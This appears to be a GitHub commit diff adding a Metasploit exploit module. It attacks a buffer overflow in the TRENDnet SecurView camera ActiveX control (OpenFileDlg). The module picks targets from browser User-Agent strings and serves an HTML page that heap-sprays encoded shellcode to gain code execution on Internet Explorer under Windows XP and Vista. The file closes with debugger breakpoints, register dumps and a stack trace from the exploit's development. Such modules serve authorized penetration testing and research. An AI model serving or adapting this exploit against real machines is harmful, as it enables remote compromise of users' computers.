1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
+ 'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow" ,
18
+ 'Description' => %q{
19
+ This module exploits a vulnerability found in TRENDnet SecurView Internet
20
+ Camera's ActiveX control. By supplying a long string of data as the sFilter
21
+ argument of the OpenFileDlg() function, it is possible to trigger a buffer
22
+ overflow condition due to WideCharToMultiByte (which converts unicode back to)
23
+ overwriting the stack more than it should, which results arbitrary code execution
24
+ under the context of the user.
25
+ } ,
26
+ 'License' => MSF_LICENSE ,
27
+ 'Author' =>
28
+ [
29
+ 'rgod' , #Original discovery, PoC
30
+ 'sinn3r' #Metasploit
31
+ ] ,
32
+ 'References' =>
33
+ [
34
+ [ 'OSVDB' , '80661' ] ,
35
+ [ 'URL' , 'http://www.exploit-db.com/exploits/18675/' ]
36
+ ] ,
37
+ 'Payload' =>
38
+ {
39
+ 'BadChars' => "\x00 " ,
40
+ 'StackAdjustment' => -3500 ,
41
+ } ,
42
+ 'DefaultOptions' =>
43
+ {
44
+ 'ExitFunction' => "seh" ,
45
+ 'InitialAutoRunScript' => 'migrate -f' ,
46
+ } ,
47
+ 'Platform' => 'win' ,
48
+ 'Targets' =>
49
+ [
50
+ [ 'Automatic' , { } ] ,
51
+ [ 'IE 6 on Windows XP SP3' , { 'Offset' => '0x600' , 'Ret' => 0x30303030 } ] ,
52
+ [ 'IE 7 on Windows XP SP3' , { 'Offset' => '0x600' , 'Ret' => 0x30303030 } ] ,
53
+ [ 'IE 7 on Windows Vista' , { 'Offset' => '0x600' , 'Ret' => 0x30303030 } ]
54
+ ] ,
55
+ 'Privileged' => false ,
56
+ 'DisclosureDate' => "Mar 28 2012" ,
57
+ 'DefaultTarget' => 0 ) )
58
+ end
59
+
60
+ def get_target ( agent )
61
+ #If the user is already specified by the user, we'll just use that
62
+ return target if target . name != 'Automatic'
63
+
64
+ if agent =~ /NT 5\. 1/ and agent =~ /MSIE 6/
65
+ return targets [ 1 ] #IE 6 on Windows XP SP3
66
+ elsif agent =~ /NT 5\. 1/ and agent =~ /MSIE 7/
67
+ return targets [ 2 ] #IE 7 on Windows XP SP3
68
+ elsif agent =~ /NT 6\. 0/ and agent =~ /MSIE 7/
69
+ return targets [ 3 ] #IE 7 on Windows Vista
70
+ else
71
+ return nil
72
+ end
73
+ end
74
+
75
+ def on_request_uri ( cli , request )
76
+ agent = request . headers [ 'User-Agent' ]
77
+ my_target = get_target ( agent )
78
+
79
+ # Avoid the attack if the victim doesn't have the same setup we're targeting
80
+ if my_target . nil?
81
+ print_error ( "#{ cli . peerhost } :#{ cli . peerport } - Browser not supported: #{ agent . to_s } " )
82
+ send_not_found ( cli )
83
+ return
84
+ end
85
+
86
+ # Set payload depending on target
87
+ p = payload . encoded
88
+
89
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
90
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
91
+
92
+ # Convert the pivot addr (in decimal format) to binary,
93
+ # and then break it down to this printable format:
94
+ # \x41\x41\x41\x41
95
+ t = [ my_target . ret ] . pack ( "V" ) . unpack ( "H*" ) [ 0 ]
96
+ target_ret = ''
97
+ 0 . step ( t . length -1 , 2 ) do |i |
98
+ target_ret << "\\ x#{ t [ i , 2 ] } "
99
+ end
100
+
101
+ js = <<-JS
102
+ var heap_obj = new heapLib.ie(0x20000);
103
+ var code = unescape("#{ js_code } ");
104
+ var nops = unescape("#{ js_nops } ");
105
+
106
+ while (nops.length < 0x80000) nops += nops;
107
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
108
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
109
+
110
+ while (shellcode.length < 0x40000) shellcode += shellcode;
111
+ var block = shellcode.substring(0, (0x40000-6)/2);
112
+
113
+ heap_obj.gc();
114
+
115
+ for (var i=1; i < 0x1000; i++) {
116
+ heap_obj.alloc(block);
117
+ }
118
+
119
+ var ret = "";
120
+ for (i2=0; i2<30000; i2++) {
121
+ ret = ret + "#{ target_ret } ";
122
+ }
123
+ obj.OpenFileDlg(ret);
124
+ JS
125
+
126
+ js = heaplib ( js , { :noobfu => true } )
127
+
128
+ html = <<-EOS
129
+ <html>
130
+ <head>
131
+ <script>
132
+ </script>
133
+ </head>
134
+ <body>
135
+ <object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object>
136
+ <script>
137
+ #{ js }
138
+ </script>
139
+ </body>
140
+ </html>
141
+ EOS
142
+
143
+ print_status ( "#{ cli . peerhost } :#{ cli . peerport } - Sending html" )
144
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
145
+
146
+ end
147
+
148
+ end
149
+
150
+ =begin
151
+ bp 1000f952 "r; g"
152
+ bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g"
153
+
154
+ eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000
155
+ eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0 nv up ei pl nz na po nc
156
+ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
157
+ kernel32!WideCharToMultiByte:
158
+ 7c80a164 8bff mov edi,edi
159
+ 023f4bf4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
160
+ 023f4c04 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
161
+ 023f4c14 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
162
+ 023f4c24 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
163
+ 023f4c34 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
164
+ 023f4c44 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
165
+ 023f4c54 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
166
+ 023f4c64 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
167
+
168
+ ChildEBP RetAddr
169
+ 0013a12c 1000f958 kernel32!WideCharToMultiByte
170
+ WARNING: Stack unwind information not available. Following frames may be wrong.
171
+ 0013a158 100211d0 UltraMJCamX+0xf958
172
+ 0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20
173
+ 0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a
174
+ 0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234
175
+ 0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92
176
+ 0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32
177
+ 0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78
178
+ 0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149
179
+ 0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44
180
+ 0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac
181
+ 0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56
182
+ 0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78
183
+ 0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba
184
+ 0013e574 75c6efea jscript!VAR::InvokeDispName+0x43
185
+ 0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd
186
+ 0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd
187
+ 0013e668 75c71793 jscript!ScrFncObj::Call+0x8d
188
+ 0013e6d8 75c5da62 jscript!CSession::Execute+0xa7
189
+ 0013e728 75c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147
190
+
191
+ 0:008> r
192
+ eax=78f8f8f8 ebx=1006519c ecx=020bc038 edx=0c0c0c0c esi=020bf4d0 edi=020c0000
193
+ eip=1003a0e9 esp=020bb140 ebp=020bf22c iopl=0 nv up ei pl zr na pe nc
194
+ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
195
+ UltraMJCamX!DllUnregisterServer+0x27a39:
196
+ 1003a0e9 8917 mov dword ptr [edi],edx ds:0023:020c0000=00905a4d
197
+
198
+
199
+ The only application-specific component loaded is UltraMJCamX.ocx, but this
200
+ can be unreliable and I'd rather not use that.
201
+ =end
0 commit comments